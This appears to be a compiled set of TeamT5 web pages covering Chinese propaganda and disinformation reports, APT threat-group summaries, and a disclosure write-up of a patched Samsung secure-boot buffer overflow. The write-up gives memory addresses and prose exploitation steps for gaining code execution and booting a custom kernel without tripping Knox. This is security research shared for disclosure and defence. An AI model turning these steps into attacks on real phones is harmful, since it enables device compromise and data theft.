TeamT5〈資訊戰白皮書二部曲：中國防火長城內的數位政治宣傳〉

To confront the emerging threat of China's Information Operation, TeamT5 threat intelligence team publishes this White Paper covering how China conduct information manipulation across Chinese social media platforms. From the 2019 Hong Kong Protest to the 2020 COVID-19 pandemic, China has demonstrated the art of surveillance, censorship, and most importantly, digital propaganda.

In this white paper, we focus on China's digital propaganda inside the Great Firewall. We suggest that the regime has developed a unique, organizational, and sophisticated propaganda mechanism, which we dub as "digital propaganda formula." With this formula, the Chinese Communist Party (CCP) has managed to transform all the Chinese social media platforms inside the Great Firewall into an almost total pro-CCP environment.

## Key Takeaways

1. CCP has strengthened its control over Chinese cyberspace by establishing legislations as well as centralizing administrations, and the "last mile" of its cyber governance is to control public opinion through censorship and digital propaganda.

2. We dub China's sophisticated propaganda mechanism the "digital propaganda formula," which consists of state media, communist youth league, governmental affairs new media, as well as trolling factory.

3. Moreover, CCP's policies have bolstered the industry of "public opinion guidance" in China. The industry practitioners have developed AI and big data-powered systems to help the government to collect, store, and analyze public sentiment.

4. China's formula has polluted the online information environment inside the Great Firewall. We assess that the CCP is trying to project its digital propaganda dominance to foreign social media platforms in order to control the world's discourse power. 

Following the global pandemic, the world relies on the internet more than ever. Cyber threat actors and influence operators, either state-backed or money driven, are taking the advantage to conduct information operation. TeamT5 threat intelligence team aims to deliver actionable intelligence and penetrating analytics and contribute to the safeguarding of cyberspace.

If you are interested in this white paper, please fill out the form below and get the full-text PDF.

 

**COMING UP NEXT**

In Part 3 of our Information Operation White Paper, we will focus on the external propaganda of the CCP. We will provide an overview of the current status and impact of Chinese propaganda machine and information operation on Western social media platforms, such as Facebook, Twitter, and YouTube.

If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper II: China’s Digital Propaganda Formula inside the Great Firewall

## About D39

D39 focuses on vulnerability research and has identified several critical security flaws, including technical exploitation of mobile, IoT devices, and Linux and Windows operating systems. We have reported dozens of vulnerabilities and dedicate to Samsung Vulnerabilities and Exposures (SVE) and Common Vulnerabilities and Exposures (CVE).

Before diving into the main subject this month, we are glad to announce that TeamT5 is again accepted at Black Hat USA, and our vulnerability research team, D39, will talk at the Black Hat Briefings in the upcoming August. We are honored to share our research findings with researchers and security experts all over the world and expect more recognition of Taiwan's vulnerability researchers in the world.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hat Session](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

This article will cover a part of our talk at Black Hat USA in August.

## Introduction

We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. We can even retrieve users' sensitive data from a locked device. The affected Samsung mobiles include Galaxy S8, S9, and S10. Patches to these vulnerabilities have been provided by Samsung.

One of these vulnerabilities allows attackers to execute arbitrary code in Galaxy S8 secure bootloader to access the device. In this article, we will elaborate how we exploit these vulnerabilities to bypass S8 secure bootloader through the USB device and obtain arbitrary code execution in early boot stage.

Note: Another security research team found this vulnerability at the same time and report it to Samsung.
ID: SVE-2019-15230 (details below).
![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/SVE-2019_3bc5eea84d.png)

## KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[Image courtesy](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

As the market leader of smartphone, Samsung conducts a series of protection on Android, known as the Knox Platform, to ensure the security of its devices. During the booting process, Samsung uses S-boot (Secure Boot) to make sure it can only boot a stocked image. If the device tries to boot a custom image, it will trip (turned from 0X0 to 0X1) a one-time programmable bit e-fuse (a.k.a Knox bit). Once a trustzone app (trustlet) detects the Knox bit tripped, it will delete the encryption key of sensitive data to prevent unauthorized data from accessing the locked device.

## Vulnerability

Smartphones with Samsung Exynos processor use a exclusive secure bootloader named S-boot. S-boot has ODIN mode which allows users to upgrade the firmware manually. Due to the insufficiency in its code, the flash command (opcode: 0x66) in ODIN mode is not able to properly check the flash image size, which leads to buffer overflow.

The flash command in ODIN mode uses a temporary buffer to store the image. In Galaxy S8, the buffer is located at 0xC0000000, right in front of sboot code segment (0xC9000000). Although the system will check to ensure that the size being no larger than 0x1e0000, it uses signed comparison to check the size of the image; thus provide us some space to get around. We therefore provide a size larger than 0x80000000, making buffer overflowed and, in the end, the following segments such as code, stack, and heap will be overwritten.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

## The Exploit

### Code Execution

Although we can overflow the code segment of S-Boot, we still cannot hijack the execution flow. Since USB receivers use physical memory to hold the data it received directly, we cannot affect instruction cache unless the cache line has been invalidated.

Fortunately, the heap segment is not cached due to MMU flag. There are some pointers stored in the heap segment, which can be accessed during the USB process. If we overwrite these pointers with null bytes, the processor will trigger an exception and trap into the exception handler while accessing to NULL pointers. Since the handler has never been executed, it is not cached in the instruction cache. Therefore we can also overwrite the exception handler simultaneously and hijack it directly to our shellcode.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

### Booting Custom Kernel

Since all the run-time data has been overwritten -- including stack, heap and global variables -- the sboot fail to perform further booting operation. These kinds of data are difficult to recover, so we must re-execute the booting process.

Under normal condition, S-boot calls several functions in a particular function table which is located at 0xC90C7350. To re-execute s-boot, these functions have to be invoked sequentially again. They would initialize the memory of heap and stack, set the global variables, and boot the kernel at the end. However, these functions also involve some SMC calls which cannot be executed twice. Since we only compromised EL1 (Exception Level 1), the trustzone in EL3 (Exception Level 3) cannot be reverted. As a result, we have to overwrite these SMC calls with NOP instruction while overflowing the code segment to ignore those SMC (System Management Controller) calls.

After all the run-time data has been reset, we replace the original kernel with our custom one. Then we execute one last function to boot our custom kernel and get the **root privilege without blowing KNOX bit**.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

## Timeline

2019-10-02 Report Vulnerability
2019-10-08 Informed Vulnerability duplicated and release patch note

## Appendix: Potential Exploit Path on Galaxy S10

According to our analysis, this vulnerability affects Galaxy S9, Galaxy S10 and Galaxy Note 10 as well. Among them we find that exploitation can still be trigger at different address. For instance, even the temporary buffer located at different addresss, like 0x890000000 in Galaxy S10, there are still chances to exploit it. To explain the complete exploitation flow, we choose the firmware, G970FXXU1ASD5, as an example.

In Galaxy S9 and later version, there is another feature added to the secure boot - compressed_download. It uses another buffer to store the flash image. However if compressed_download failed during the initialization, it will fallback to normal download, and use the buffer (0xC0000000) to store the flash image.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

To make S-boot fallback to normal download, we have to make the function `cd_v3_smp_register` fail. After reversing, we noticed that the function `cd_v3_smp_register` may return failed if there is no available core(`booted_cores` > 3) can be booted. Coincidentally, there is a test command - "smp_boot_test" in the UART (Universal Asynchronous Receiver/Transmitter) console. The command smp_boot_test will boot a core and add the count of the booted_cores. Although `smp_boot_test` shutdown the booted up core immediately, it didn't restore the count. Therefore, the compressed_download_init may failed if the command `smp_boot_test` has been invoked more than twice before entering the download mode.

If we have the UART debug cable to get the UART console, we can call the command`smp_boot_test` 3 times and enter the download mode via the command `usb`. The `compressed_download_init` would fail, then the temporary buffer fallback to 0xC0000000. Therefore the arbitrary code execution on S10's bootloader can be achieved as the one in Galaxy S8.

We managed to build our own TypeC debug cable at first. However, after trying every kinds of Pull-up/down resistor value, TypeC accessory mode, TypeC VDM, we cannot yet figure out a cable for RID_523K detection. Still, in the end, we applied other approach that enable us to attain **Galaxy S10 Secure Bootloader's permission of arbitrary code** without having debug cable.

We will have a thorough display on Black Hat. Stay tuned!

For the latest vulnerability research from D39, please follow:

TeamT5 official website: [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

Twitter: [https://twitter.com/TeamT5_Official](https://twitter.com/TeamT5_Official "https://twitter.com/TeamT5_Official")

BlackHat's Talk: Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot

*\*Please noted that this blog post is a shortened version of our analysis. To assess the full version of the analysis, please subscribe our report "Cyber Affairs Biweekly-Update."*

### Key Takeaways

1. China has exerted ever greater influence over the globe since the outbreak of the coronavirus. Over the past three months, TeamT5 has been monitoring how China utilizes its cyber strength and propaganda machine to handle the Covid-19 pandemic.
2. The Chinese authorities have collaborated with telecom firms and tech giants in China, using technologies such as big data to control the public opinion and people's movement. The regime has implemented measures such as digital surveillance, keywords censorship on social media applications, and Health Code System.
3. Moreover, China has also exercised its propaganda machine to shape both domestic and international narrative of the pandemic. The Chinese officials and Chinese state media have utilized various social media platforms, particularly Weibo and Twitter, to disseminate propaganda to Chinese people and foreign audiences. Some Chinese officials have connived and even promoted online conspiracy theory, which claimed China is not the origin of the coronavirus.

### Blurred Lines Between State and Corps: Telecom Surveillance and Health Code System

The Chinese Communist Party (CCP) has collaborated with its national tech giants and telecom firms to implement a series of security measures in the name of containing the coronavirus outbreak.

The regime has elevated its digital control over domestic citizens. In mid-February, China's Ministry of Industry and Information Technology (MIIT) sent a notice to Information and Communications Technology (ICT) service providers, demanding relevant firms to strengthen monitoring and censorship over online public discussion.\[1\] The MIIT also announced the utilization of telecom big data analysis in support of the battle against the coronavirus. \[2\]

As the country tried to resume normal operations, the Chinese authorities launched Health Code System, using big data to monitor citizens' health status and then regulate their movement. The Health Code System is developed by the Ant Financial, an affiliate company of the Chinese Alibaba Group, and Tencent in collaboration with the Chinese authorities.

The system has raised privacy concerns since it connects and integrates databases of government units and private firms, forming a comprehensive surveillance system which contains real name, phone number, ID, address, travel history, health status and contact history. Moreover, only 3 out of 16 Health Code Apps list their user agreement and privacy policy at installation, while others will directly direct users to the registration page to fill out personal information.\[3\] This shows that most of the users' data are collected, processed, and shared without informed consent.

### Strategic Distraction and Positive Propaganda Targeting Domestic Citizens

The authoritarian regime is also in another battle to shape the public opinion about the epidemic. Initially, the Chinese state media employed strategic distraction to mitigate the seriousness of the coronavirus. Before Wuhan Lockdown on January 23, Chinese state media started reporting the Influenza B in the United States.\[4\] The topic "Influenza B outbreak in the US" (美国爆发乙型流感) reached 500 million views and 31,000 discussions on Weibo.\[5\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_1_4fb4158a6a.png)_Figure 1: News report by the China Central Television (CCTV)._

As the number confirmed cases soared in China, the Chinese state media outlets started to spread positive propaganda. For instance, they highly praised the Chinese authorities' handling of the virus by highlighting the rapid construction of Huoshenshan Hospital.\[6\] They also promoted narratives such as "the Chinese people are sacrificing to fight the virus", accompanied by praises from WHO Director General Tedros Adhanom Ghebreyesus.\[7\]\[8\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718736/SR_2_0b7b7f6542.png)_Figure 2: YouTube video by China Global Television Network (CGTN)._

The regime has seized the opportunity to demonstrate the country's strength to contain the virus as well as the advantages of an authoritarian regime. The CCP uses the case to show that its authoritarian governance system is more effective than the liberal democracies when facing a crisis like the Covid-19 pandemic.

### Propaganda, Hoaxes and Conspiracy Theories: From Troublemaker to Global Savior

Although China was widely criticized for its delayed and opaque treatment to the coronavirus outbreak during the initial stage, the regime has backed on its feet to polish its international image after the pandemic seems to have subsided in China.

In particular, Italy, the first G-7 country to join China's Belt and Road Initiative (BRI), became a favorable environment for the regime to launch propaganda. We observed a series of propaganda was launched against Italy.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_3_c2c0ee47d2.png)_Figure 3: The Chinese embassy posted a series of tweets to promote China's medical aids foe Italy, using hashtag #ForzaCinaeItalia_

The campaign is revealed to have boosted by social manipulation, as the hashtag #ForzaCinaeItalia (Go China, go Italy) was promoted by Twitter bot accounts.\[9\]

In another case, since March 15, Chinese state media outlets as well as Chinese diplomats Hua Chunying and Zhao Lijian have promoted a video of Italian chanting "Grazie, Cina!" on their balconies with the Chinese anthem "March of the Volunteers" playing.\[10\] The video was examined by researchers and was claimed to be manufactured.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718737/SR_4_b4d7e95934.png)_Figure 4: Hua Chunying's sharing the video on Twitter._

### "Origin" Propaganda: Conspiracy Theories of Patient Zero

Conspiracy theories of the origin of the coronavirus have emerged across social media platforms as early as January. One of the significant cases is a conspiracy theory claiming that the US military had brought the coronavirus to Wuhan during the 2019 Military World Games.

Starting from March 12, 2020, Zhao Lijian, a deputy director of the Chinese Foreign Ministry's Information Department, has posted a series of tweet to amplify the conspiracy theory on Twitter. In one of his tweets, he shared a video clip of US Centers for Disease Control (CDC) chief Robert Redfield saying some Covid-19 death might have been diagnosed as influenza in the US, using it as evidence that the virus originated in the US.\[11\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_5_2802d4b539.png)_Figure 5: A series of tweets by Zhao Lijian promoting the conspiracy theory, along with articles of "globalresearch.ca". The website often promotes anti-US conspiracy theory._

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_6_2bb97447e7.png)_Figure 6: Global Times reporting the conspiracy theory about US military personnel bringing COVID-19 to China._

Besides the US, Italy is also one of the scapegoats for China's coronavirus origin propaganda. Starting from March 22, multiple Chinese state media outlets have published news article titled "Coronavirus may have existed in Italy since November: local researcher," implying that Italy was the origin of Coronavirus.\[12\]\[13\] They cited the words of the Italian physician Giuseppe Remuzzi in an interview with NPR on March 19 \[14\], using it as statement to prove that China is not the origin of the coronavirus.

Although Remuzzi protested that his words were twisted by China, the narrative has already gone viral.\[15\] The CCTV created a topic "Expert claims the coronavirus may have existed in Italy since November" (专家称疫情去年11月或已在意大利流行), which reached approximately 500 million views and 35,000 discussion posts.

### Conclusion

China's cyber strength and digital influence did not scale down even in the times of the pandemic. Instead, the regime took the opportunity to pose itself as a global leader more capable than the US. We can see that the CCP has well mastered its cyber capabilities and propaganda machine, expanding the regime's control from physical entities to public opinion. Moreover, the CCP has elevated its efforts to shape international opinion through the Twitter platform. We assess that the CCP will have more power of discourse and influence after they learned to conduct propaganda campaign on foreign social media platforms, and every party should be vigilant about it.

### Reference

\[1\] 工业和信息化部办公厅关于做好疫情防控期间信息通信行业网络安全保障工作的通知 (MIIT's Notice on Cybersecurity Practice for Information and Communications Technology (ICT) Service Providers During Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7681785/content.html

\[2\] 工业和信息化部召开媒体通气会 介绍电信大数据分析、支撑服务疫情防控总体情况 (MIIT's Media Briefing on the Utilization of Telecom Big Data Analysis on Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7678438/content.html

\[3\] 健康码的隐私政策还有哪些改进空间？(Room of Improvement on the Health Code System's Privacy Policy)  
https://www.jiemian.com/article/4120372.html

\[4\] 美国暴发40年来最致命流感 已有6600人死亡 (US' Worst Influenza Outbreak in 40 Years, 6600 Americans Killed)  
http://news.sina.com.cn/w/2020-01-22/doc-iihnzhha4088647.shtml

\[5\] https://s.weibo.com/weibo?q=%23美国爆发乙型流感%23&Refer=SWeibo_box

\[6\] CGTN: Time lapse video: Construction of Wuhan Huoshenshan Hospital completed  
https://www.youtube.com/watch?v=53nhErXUd9A

\[7\] 中国人民"正在为全人类作贡献" (Chinese People are Contributing for All Human Kind)  
http://world.people.com.cn/n1/2020/0308/c1002-31622166.html

\[8\] Xinhua Net: China deserves appreciation for efforts, sacrifices in fighting epidemic: WHO chief  
http://www.xinhuanet.com/english/2020-02/16/c_138789289.htm

\[9\] How China unleashed Twitter bots to spread COVID-19 propaganda in Italy  
https://formiche.net/2020/03/china-unleashed-twitter-bots-covid19-propaganda-italy/

\[10\] https://twitter.com/SpokespersonCHN/status/1239041044580188162  
https://twitter.com/zlj517/status/1239112822908276736  
CGTN: Italians play Chinese national anthem to thank China for its aid  
https://www.youtube.com/watch?v=8ZKsA2jbwlk  
CCTV: Italians play Chinese national anthem, chanting "Grazie Cina"  
https://www.facebook.com/watch/?v=201784281098386

\[11\] https://twitter.com/zlj517/status/1238111898828066823

\[12\] Coronavirus may have existed in Italy since November: local researcher  
https://news.cgtn.com/news/2020-03-22/Coronavirus-may-have-existed-in-Italy-since-November-local-researcher-P4i2As2OAg/index.html

\[13\] Italian doctors saw strange pneumonia cases before China's COVID-19 outbreak, report says   
http://www.china.org.cn/world/Off_the_Wire/2020-03/22/content_75845579.htm

\[14\] 'Every Single Individual Must Stay Home': Italy's Coronavirus Surge Strains Hospitals  
https://www.npr.org/2020/03/19/817974987/every-single-individual-must-stay-home-italy-s-coronavirus-deaths-pass-china-s?t=1585131614833

\[15\] Beijing twisted my words on coronavirus's Italian origin, says scientist Giuseppe Remuzzi  
https://www.thetimes.co.uk/article/beijing-twisted-my-words-on-coronaviruss-italian-origin-says-scientist-giuseppe-remuzzi-6twwhkrvn

Special Report: How China Utilizes Its Cyber Strength and Propaganda Machine to Handle the COVID-19 Pandemic

社群媒體的普及改變了人們吸收資訊的方式，衝擊了原有的選戰型態。2018到2020年，台灣面臨了新形態的選戰威脅，攻擊者利用社群媒體散播大量的假新聞、不實資訊、仇恨言論。這些攻擊就像高傳染力的病毒不僅會觸及所有社群媒體使用者，更會讓他們感染後進一步成為潛在的假消息散播源。

TeamT5 的 Observations on 2020 Taiwanese General Elections 認為：

## 1. 假新聞讓各政黨支持者成為可能的散播源

   假新聞攻擊會利用選民對政治的熱情，使參與討論的選民反而成為散播的節點。

## 2. 假新聞的手法與目標持續地改變

   中選會認為這次選前的假新聞攻擊達到以往不曾有的數量。而除了數量與手法的不同，在選舉過後，相關攻擊並沒有停止，反而轉移了目標。

## 3. 中國持續加大自己的影響力

   從對台機構的新聞網站到各類假帳號、機器人與自發的小粉紅，中國試圖將影響力延伸到台灣的社群媒體。

## 4. 假新聞的攻擊行動被層層外包

   在選舉期間大量的行銷公司與新興媒體成立並散播特定政治訊息，讓真正的攻擊者可以輕易地隱藏於之後。



我們以資安研究員的角度出發，整合過去兩年間 TeamT5 拆解過的選舉假新聞攻擊事件，希望能替下一場民主選舉貢獻心力。

若對本份白皮書有興趣，請填寫表單，我們會以電子郵件的方式寄送。 TeamT5 接下來還會解析中國如何對內與對外利用社群媒體進行資訊的操弄。不想錯過我們接下來發布的報告，請追蹤我們的[Twitter](https://twitter.com/TeamT5_Official)

TeamT5 發布了〈資訊戰白皮書：2020台灣大選觀察〉

The ubiquity of social media has altered the way people consume information, which in turn dramatically changed the way electoral campaigns are run. From the 2018 municipal elections to the 2020 general elections, Taiwan has witnessed the growing threat of disinformation to the citizens. It was observed that many malicious actors utilized social media to disseminate a huge amount of fake news, false information, and hate speech. These disinformation are like highly contagious viruses that will not only affect the people consuming them, but also make them secondary disseminators. We assess that:

## 1. Virus-like disinformation makes everyone on social media both victim and disseminator

   Although public discussion is the cornerstone of a good democratic society, many attacks have used voter enthusiasm to spread on social media. We have observed that many of the voters who participated in the discussion turned out to be the source of dissemination.

## 2. Disinformation continues to evolve in tactics and quantity, as well as expanding its targets

   The Taiwanese Central Election Commission (CEC) stated that the number of disinformation cases before the 2020 elections reached an unprecedented level. In addition to the evolution in quantity and tactics, we observed that the dissemination of disinformation did not stop even after the election, but instead shifted the target.

## 3. China continues to increase its influence

   Apart from news agency promoting the Chinese policies, inauthentic accounts run by bot, and patriotic netizens (A.K.A little pink), China has stepped up its influence on social media platforms to shape narratives.

## 4. Information operations are outsourced, layer-by-layer

   Before the elections, a number of marketing firms and new media were established to spread political messages. We discovered that some of them have connections with certain political parties, implying the layer-by-layer outsourcing of Information Operations by politically motivated actors.

From the perspective of security researchers, we integrated the Information Operations intercepted and investigated by TeamT5 over the past two years, hoping to contribute to the next democratic election.

If you are interested in this white paper, please fill out the form, and we will send you the report by email.

COMING UP NEXT: We will publish reports about how China conduct Information Operation on social media platforms, targeting domestic citizens and foreign audiences. If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper I: Observations on 2020 Taiwanese General Elections

TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. We’re also frequently invited to share our insights in top cybersecurity conferences.

Based on our research in malware & Advanced Persistent Threat (APT), we provide cyber threat intelligence reports and anti-ransomware solutions to clients in the USA, Japan, and Taiwan. Clients include government agencies, financial business, and high-tech enterprises.

Our work is also seen by media as TeamT5 is honored to be featured in [CyberNews](https://cybernews.com/)' pick of Best Threat Intelligence Solutions. In the list, ThreatQuotient and many top solution providers are also mentioned. 

CyberNews wrote:

>With a vast team of experts, TeamT5 provides a cybersecurity defense and threat hunting platform. Easy-to-navigate, advanced, and automated, with it, you secure yourself not only from APT (Advanced Persistent Threat) but from targeted ransomware as well.

>TeamT5 threat hunting tool monitors endpoints in real time. The platform is threat intelligence-driven and can execute incidents effectively. Their AI-powered engine can detect and stop malware, while a ransomware attack is automatically blocked in the first place.

>Speaking of ransomware attacks, enterprise backups are also protected – preventing threats from destroying them. So if you’re in need of a flexible solution that is easy to deploy, ThreatSonar is all that and more.

To read the whole article, please check [this link](https://cybernews.com/resources/best-threat-intelligence-solutions/).

TeamT5 Featured Best Threat Intelligence Solutions on Cybernews

News

>TeamT5 is a leading APT threat intelligence provider in the Asia & Pacific region. In Black Hat Asia 2022, TeamT5 published our analysis of modular backdoor Pangolin8RAT and its associated threat group "Tianwu”. As modular backdoors and shared malwares are becoming key trends in the threat landscape, Silvia Yeh (Threat Intelligence Analyst) and Leon Chang (Threat Intelligence Researcher) from TeamT5 warn the public that previous APT analysis mindset might not be suitable.

In the past, modular malware like PlugX and ShadowPad have been the most popular shared trojans used in Chinese state-sponsored cyber operations. Since mid-2020, TeamT5 has detected a new modular trojan emerging in the APAC region which has the potential to be their successor. The trojan was named "Pangolin8RAT" after "pangolin" and “p8rat" found in its PDB string and RTTI. Pangolin8RAT is modular, as its functionalities can be expanded by downloading DLL from its C2. Its early feature supported 8 communication protocols, including TCP, HTTPS, UDP, DNS, ICMP, HTTPSIPV6, WEB, and SSH.

TeamT5 researchers names the threat group behind Pangolin8RAT as “Tianwu”, a beast with 8 human heads in Chinese mythology. From 2020 to 2021, TeamT5 has observed Tianwu leveraging Pangolin8RAT to snipe at online gaming/gambling industry, transportation, telecom, government, and dissidents in the Asia Pacific region.

In this talk, TeamT5 researchers also explored Tianwu’s connections with the notorious Chinese APT group Amoeba (aka APT41) by illustrating the similarities in the two group’s modular malware structure, TTPs, and target scope.

TeamT5 researchers concluded that modular backdoor has become a trend as it can reduce the cost of malware development by APT groups. For that reason, previous analysis frameworks and categories might not be suitable for future APT attacks. In order to have an overview of the threat landscape, enterprises should defend themselves with all-level intelligence from tactical & operational level to strategic level.


- Presentation slides: [link](https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf)

## About Black Hat Asia
Black Hat is the world’s leading information security event, and remains the best and biggest event of its kind. It provides attendees with cutting-edge security research, development and trends, and has the ability to define tomorrow’s information security landscape. Black Hat Asia is an Black Hat extended event which is held in Singapore annually.


【Black Hat Asia 2022】New Trend of Modular Backdoor and APT Attacks, TeamT5 Researchers Publish Analysis at Black Hat Asia

>TeamT5 杜浦數位安全長期致力於亞太地區駭客團體研究，於今年度亞洲最大資安研討會 Black Hat Asia 發布最新研究，說明新興的模組化後門程式 Pangolin8RAT 與其關聯駭客團體。有鑑於後門程式模組化及多駭客團體共用的趨勢，TeamT5 威脅情資分析師 Silvia Yeh 與威脅情資研究員 Leon Chang 警示既有 APT 攻擊分析方法可能不再適合，企業組織宜運用多層次威脅情資，掌握駭客動態。

過去像是 PlugX、ShadowPad等模組化惡意軟體製作而成的木馬程式，常見於中國國家級支持的網路行動。自2020年中，TeamT5 偵測到模組化木馬程式 Pangolin8RAT 在亞太區域區域，有可能是前述模組化惡意軟體的後繼者。Pangolin8RAT 命名來自其 PDB string "pangolin" 和其 RTTI “p8rat”，該模組化特徵為可經由C2指令，進行DLL下載，而擴展功能。其早期版本支援8種通訊協定，包含 TCP, HTTPS, UDP, DNS, ICMP, HTTPSIPV6, WEB, SSH。

TeamT5 將使用 Pangolin8RAT 後門程式的駭客團體命名為「天吳」，為記載於《山海經》的八首人面怪獸。2020-2021年之間，該駭客團體鎖定線上娛樂產業、賭博業、資訊業、電信業、交通運輸業、政府單位、異議人士等，進行網路攻擊。

本次演講中，TeamT5 研究團隊並探索「天吳」與惡名昭彰的中國 APT 團體 Amoeba (別名 APT41)的關聯，兩者的相似性來自他們使用之模組化惡意程式結構、攻擊手法(TTPs)與攻擊範圍。

TeamT5 研究團隊指出由於模組化後門程式可以降低駭客團體研發惡意軟體的成本，模組化後門程式成為趨勢。有鑑於此，先前針對 APT 攻擊的研究架構與分類可能不再適用於未來出現的 APT 攻擊，建議企業組織宜運用從戰術(tactic)、實戰(operation)、戰略(strategy)等層級的威脅情資，掌握網路威脅的全貌。

- 演講完整演講簡報檔: [連結](https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf)

## 關於黑帽大會（Black Hat）
黑帽大會（Black Hat）每年聚集全球資訊安全專家、優秀研究人員於一堂，透過資安研究、開發與最新趨勢交流，鼓勵學術界、世界級研究人員與各領域決策及領導者間的合作、成長。黑帽簡報會（Black Hat Briefing）與培訓（Training）每年也都在美國、歐洲與亞洲舉行，匯集全球資安頂尖人員參與盛會。


【Black Hat Asia 2022】後門程式模組化與 APT 攻擊趨勢剖析  TeamT5 於 Black Hat Asia 發布最新研究

Events

>TeamT5 is a leading APT intelligence provider in the Asia & Pacific region. TeamT5 shared our research in the Black Hat Asia 2022. In this seminar, TeamT5 pointed out China-nexus APT groups who launched massive attacks against the online entertainment business in the APAC region. 

Charles Li (Chief Analyst) and Che Chang (Cyber Threat Analyst) from TeamT5 pointed out these attacks are not only money-driven, they also collect data from victim companies. The motives are closely aligned with the national interests of the Chinese government.

The Chinese government has put significant pressure on the online entertainment industry. It freezes gaming licenses from Sept 2021 to Apr 2022. It crackdown on Macau gambling
industry and forced gamblers to move online. During the time of pandemic, online gambling skyrocketed. 

China-nexus APT groups' attacks on online entertainment business might be one of the crackdown moves by the Chinese government. Previously, many cases were believed to be financially-motivated attacks because of the usage of ransomware. However, based on TeamT5’s observation in the past few years, APT attacks against online entertainment companies are also driven by espionage purposes.

These threat groups use various tactics, techniques, and procedures (TTPs). For example, they collect info in recruiting websites or forums. Then, they conduct spear phishing which targets customer supporting teams. The content of the phishing email is complaining about system issues and asking team staff to open attachments. Another way is phishing via social network platforms by crafting profiles and approaching sales, ITs, RDs in the targeting companies. 

These threat groups also exploit vulnerabilities of exchange server, VPN server, browser, web, or NAS to compromise the targeting companies. Supply chain attack is another way they use. By compromising the ERP system or official website, they’re able to fulfill their goals.

In the process, some threat groups modify specific weapons to attack online entertainment industry (e.g. SLIME 29). For Amoeba (a.k.a APT41), they use the same weapons that have been used to attack other industries but they developed proprietary tools  for maintaining. Others didn’t develop tailored weapons to attack the online entertainment industry (e.g. TianWu、Greedy Taotie、SLIME34).

Dissecting the current TTPs is merely the first step. TeamT5 urges organizations to start the threat intelligence cycle and have tailored & accurate threat intelligence.

- Presentation slides: [link](https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf)

## About Black Hat Asia
Black Hat is the world’s leading information security event, and remains the best and biggest event of its kind. It provides attendees with cutting-edge security research, development and trends, and has the ability to define tomorrow’s information security landscape. Black Hat Asia is an Black Hat extended event which is held in Singapore annually.


【Black Hat Asia 2022】Chinese APTs are Looting the Online Entertainment Industry, TeamT5 Researchers Publish Analysis at Black Hat Asia

>TeamT5 杜浦數位安全專精亞太地區駭客團體分析，最新研究於亞太最大資安研討會 Black Hat Asia 發布，指出與中國關聯之多個駭客團體，針對亞太地區的線上博弈產業發起大規模攻擊。這波攻擊據除了獲取金錢利益，對產業的資料展現高度興趣，推測可能暗含中國政府蒐集資訊的動機，異於過去攻擊行動。

中國政府近年來限縮線上遊戲產業發展空間，如停發遊戲版號，及取締賭博產業，使賭博產業多轉為線上營運。而蓬勃發展、跨境經營的線上博弈產業遭受多個駭客團體攻擊，入侵手法精密，TeamT5 首席分析師李庭閣(Charles Li)與分析師張哲誠(Che Chang)指出這波駭客攻擊與中國政府的官方利益一致，使駭客可掌握參與玩家、業主等資料，背後策略與動機實屬不尋常。

駭客團體使用多種手法(TTPs)進攻，如於該產業招募員工的網站論壇收集資料，進一步採取魚叉式網路釣魚(spear phishing)，鎖定客服人員，以抱怨系統為主旨釣魚信件，誘騙客服人員點擊附件；駭客團體也透過社群網站建立假帳戶，藉以接近目標公司的業務、工程師等。

駭客團體並利用各項漏洞，進行攻擊，如瀏覽器、VPN、NAS的漏洞；或採取供應鏈攻擊，從公司官網、ERP系統入侵至公司內部。

針對亞太地區的線上娛樂產業的網路攻擊事件中，攻擊者通常使用非市售的工具，或自行修改、研發工具，以達成攻擊目的。TeamT5 觀察的駭客團體中，SLIME29 的攻擊武器相較於其他團體，乃是為攻擊博奕產業特別製造；Amoeba (又稱 APT41)的攻擊武器也曾用於攻擊其他產業，同時也為博奕產業量身打造可協助他們長期控制目標之工具；此波攻擊中的其他駭客團體如 TianWu、Greedy Taotie、SLIME34 則無特別未博奕產業打造攻擊武器。

TeamT5 表示拆解中國駭客團體攻擊線上博弈產業的手法與背後動機，僅是協助企業了解最新趨勢的開端，後續動向值得關注。

- 演講完整演講簡報檔: [連結](https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf)

## 關於黑帽大會（Black Hat）
